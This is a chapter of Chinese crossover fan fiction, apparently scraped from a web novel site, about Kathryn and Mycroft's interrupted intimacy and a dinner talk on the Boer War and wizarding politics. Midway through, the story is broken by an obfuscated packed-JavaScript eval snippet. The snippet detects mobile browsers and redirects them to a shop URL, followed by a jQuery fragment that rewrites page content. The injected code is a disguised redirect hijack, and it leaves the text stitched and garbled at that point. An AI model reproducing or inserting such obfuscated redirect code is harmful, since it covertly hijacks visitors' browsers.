63.第 63 章
作品:《[综名著HP]我的室友后来成了我的嫂子》 唇齿相贴的瞬间,他的手沿着她的腰线收紧,将她不动声色地扣进怀里。
细微的摩擦在静默中被无限放大,她的呼吸节奏被他牵引。
舌尖轻挑,心底最隐秘的渴望在理智与情欲之间拉扯,心跳在唇齿间乱了节拍。
那双手顺着腰际滑下,指尖轻触到裙摆,沿着布料轻轻摩挲。
她的呼吸早已紊乱,好不容易有了喘息的间隙,才勘勘轻唤了一声他的名字,颤抖的尾音又再一次被吞吃入腹。
“咚咚咚——”
敲门声忽然响起,来得毫无预兆。两人同时一僵,几乎是下意识地分开。
凯瑟琳身子猛地后退,呼吸尚未平复,麦克罗夫特也松了手,神色迅速收回,只是目光依旧停留在她脸上。
门外传来西蒙斯先生的声音:“先生,晚餐已经准备好了。”
话音落下,房间里安静了一瞬。
“知道了。”麦克罗夫特应声,语调里听不出任何异常。
脚步声渐渐远去,凯瑟琳这才松了口气,小声嘀咕了一句:“……我要被西蒙斯先生吓死了。”
麦克罗夫特被她这副小心翼翼的样子逗笑:“我们又不是在偷情。”
凯瑟琳皱着脸:“差别也不大……”
麦克罗夫特披上了床头的睡袍,语气平静:“他们早就知道我们的关系了。”
凯瑟琳仍旧皱着脸,小声反驳:“知道是一回事,被当场敲门又是另一回事。”
她低头整理了一下裙摆,刚要起身,手腕却被人握住。麦克罗夫特轻轻一带,将她拉回怀里。凯瑟琳还未来得及出声,额前便一暖。
麦克罗夫特在她额头上落下一个短暂而克制的吻,像是安抚,也像是对欲望的封存。
“好了。”他说,“下楼吧,别让他们等太久。”
凯瑟琳怔了一下,随即点头,脸上的不自在却迟迟没散。
直到两人步入餐厅落座后,被凯尔太太端上来的菜肴吸引了注意力,凯瑟琳才忘却了在房间里亲密被打断的那点不自在。
烛光下,餐桌上的菜肴色泽诱人。
麦克罗夫特端起酒杯,轻轻抿了一口白葡萄酒,又看向凯瑟琳:“这段时间过得还好吗?”
凯瑟琳细细咀嚼了一块烤鱼肉后咽下,点头:“忙碌而充实,其实我每天的生活都挺单调的,但凡有一丝丝有趣的事情,都写在给你的信里了。眼下最重要的事情,就只有创立公司这一件。我需要尽快赚钱,不然明年的学费要交不上了。”
麦克罗夫特:“想好公司名字了吗?”
“嗯……”凯瑟琳放下叉子,指尖无意识摆弄着餐巾,眉眼间带着一丝认真与思索,“我想了好久,最后还是决定就叫‘班内特’。等日后产品和产品线丰富起来了,再考虑更细致的品牌化。”
麦克罗夫特:“简洁又直接,很适合。”
“那你呢?”她反问,“欧洲怎么样?我记得你在信里说有些事情只能当面说。”
麦克罗夫特向后靠在椅背上,“欧洲的情况确实比信里写的复杂得多。德国政府在推进海外殖民和海军建设,这和英国的利益相冲突。”
凯瑟琳:“法国也不会坐视不管吧。”
“当然不会。英国海军势力在大西洋和印度洋,在非洲和印度的利益也很大。法国在西非和马达加斯加都有殖民地,对德国扩张自然敏感。”
“那你觉得……会有战争吗?”凯瑟琳小心问。
麦克罗夫特放下酒杯,手指敲了敲桌面:“现在说还为时尚早,但紧张的局势如果持续,任何摩擦都有可能升级。”
凯瑟琳沉默片刻,又问:“你觉得什么时候可能会爆发?”
她有一瞬间,差点就想要直接告诉麦克罗夫特未来会发生两次世界大战,然而这种冲动转瞬即逝。她想到了之前发生的一切,对自己这种“先知者”的状态产生了疑虑。在自己也无法确定自己所熟知的未来是否会发生的时候,凯瑟琳决定还是先不妄言。
更何况,历史车轮滚滚向前,有时候根本不是一个微小的个体能够螳臂当车改变得了的。
麦克罗夫特摇头:“没人能确定。现在看来,局势会慢慢升温,十年内出现大规模冲突的可能性不能排除,但具体时间无法预测。”
凯瑟琳:“虽然千百年来魔法界和麻瓜界一直泾渭分明,但其实每一次麻瓜界发生的变革或战争,对魔法界都有不小的影响。”
麦克罗夫特对魔法界的历史一直都十分感兴趣,闻言道:“比如?”
“比如……工业革命铁路网扩张之后,魔法部出现专门部门研究麻瓜科技与魔法冲突。拿破仑战争时期,魔法界一直在提防一些巫师可能在暗中协助某些麻瓜武装行动。其实,魔法界一直都不是独立于麻瓜界外的另一个独立世界,相反,巫师们与麻瓜界的联系还是很紧密的。”
“上回你昏迷的时候,有几位我从未见过的魔法部巫师,自称是傲罗。”麦克罗夫特想起那位名叫加雷斯的男巫,轻敲桌面的指尖顿了顿,“他们是什么人?”
凯瑟琳愣了一下,“啊……他们啊,他们算是魔法部的暴力执法机关。我以为只有尤金妮亚和他们对接了善后的工作……”
她昏迷后醒来时,魔法部的傲罗们早就已经处理完工作离开了,因此也没有和加雷斯见上一面。
“有幸接触了一下,其中有一位似乎就是你曾经提到过的好友?”
凯瑟琳毫无知觉地点点头:“如果你说的是加雷斯,那么是的。”
麦克罗夫特失笑了一瞬,笑意很快敛去,没有再继续这个话题。
倒是凯瑟琳对他的事情充满了好奇。
“西蒙斯先生说,你今天凌晨回到伦敦之后就直接去了白厅开会,”她看似随意地问道,“是发生什么了吗?”
麦克罗夫特叹了口气:“战争,英国人在南非与布尔人的战争。*1”
“这场战争不是已经打了两年了吗?”凯瑟琳微微皱眉,“最近到处都在讨论这个话题。即使我不看报纸,也免不了听身边的人提起。就连剑桥学院的公告栏上,都贴着阵亡名单。”
“英国军队无法直接击败游击队,于是只能切断布尔人的物资和民间支援。地方陆军指挥官推行了焦土政策,还想出了集中营这种——”他顿了顿,“糟糕透顶的主意。”
说到这里,他显得有些无奈,长长地吐出一口气。
他身在伦敦白厅,尽管在政府内部的地位已经举足轻重,却依旧难以真正左右海外的军事决策。帝国的触角太长,而前线将领的自主权,又恰恰是伦敦最难掌控的部分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890872|187304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“再过一段时间,你大概就会在报纸上看到相关的文章了。”
凯瑟琳思忖片刻,忽然点破道:“你并不打算阻止舆论。”
麦克罗夫特略感意外,眉梢微微扬起,“我可什么都没说,凯瑟琳小姐。”
“我好像从来没有问过你,”凯瑟琳一边给自己的盘子里添了一勺烤蔬菜,一边说道,“你有党派吗?或者,任何党派倾向?”
麦克罗夫特摇了摇头。
他是无党派人士,甚至从不参加任何公开的党派活动。
“我是国家机器的一部分,不是政治表演者。”他毫不掩饰自己的立场,直言道,“对我而言,明确的党派立场反而是一种负面资产。比起投票选举,白厅能不能正常运转,对我来说更重要。反正无论谁上台,都得听我的评估报告,不是吗?”
他很少露出这样近乎轻蔑的态度,这让凯瑟琳感到有些意外。
她评价道:“一个从政的人,却对政治本身不屑一顾。”
麦克罗夫特轻笑了一声。
“政治不过是防止国家失控的一套机制,”他说,“我向来讨厌抛头露面、装腔作势,选举并不适合我。”
“听起来你并不希望布尔战争继续下去?”凯瑟琳问,她对政治并不擅长,但这并不妨碍她不耻下问,“通常来说,政治家不都希望一场有利可图的战争持续下去吗?”
“通常来说,是的。不过,大英帝国的日不落时代已经到达顶峰了。”
他说这句话时,是一种近乎冷静的理智判断,不带个人感情因素。
“政府内部——尤其是海军和陆军系统里,有不少人反对我的看法。可在我看来,持续性的战争只会消耗这个国家的能量。我并不认为现在的英国,适合再被拖进一场旷日持久的冲突。”
凯瑟琳有些惊讶于他超越时代的判断力与视野。
她在心里暗暗感叹,可惜他的观念是正确的,更可惜的是,现在几乎没有多少人意识到,未来那场第一次世界大战,正是英国国力开始衰退的标志性节点。
她往嘴里送了一块烤蔬菜,含糊地说道:“有些事情,是注定要发生的。”
注定要发生的事情有很多。
维多利亚女王的逝世,便是其中之一。
1901年1月22日,一个传奇时代正式落幕。
魔法部部长法瑞斯·斯帕文穿着海军上将的鞋帽,乔装出席了维多利亚女王的葬礼。他的这一举动,在魔法界引发了巨大的争议。
部分纯血巫师指责他是一位极度亲麻瓜的魔法部部长,认为他的行为方式与政治理念,正在给魔法界带来严重的暴露风险。他们开始系统性地质疑斯帕文所有涉及麻瓜事务的政策——甚至包括错误信息办公室的设立本身。
这让此时正在一边上学、一边工作、一边还要奔走创业的凯瑟琳感到分外头疼。
她时不时就会收到来自魔法部的“工作约谈”。
所谓约谈,大多是些翻来覆去的车轱辘话,目的无非是想从她这里套出一些对斯帕文部长不利的评价,甚至想要借此证明错误信息办公室根本没有存在的必要。
凯瑟琳这才真正意识到,“搞政治”的人究竟能有多令人厌烦。她也由衷地开始认同麦克罗夫特那套关于“政治表演者”的论调。

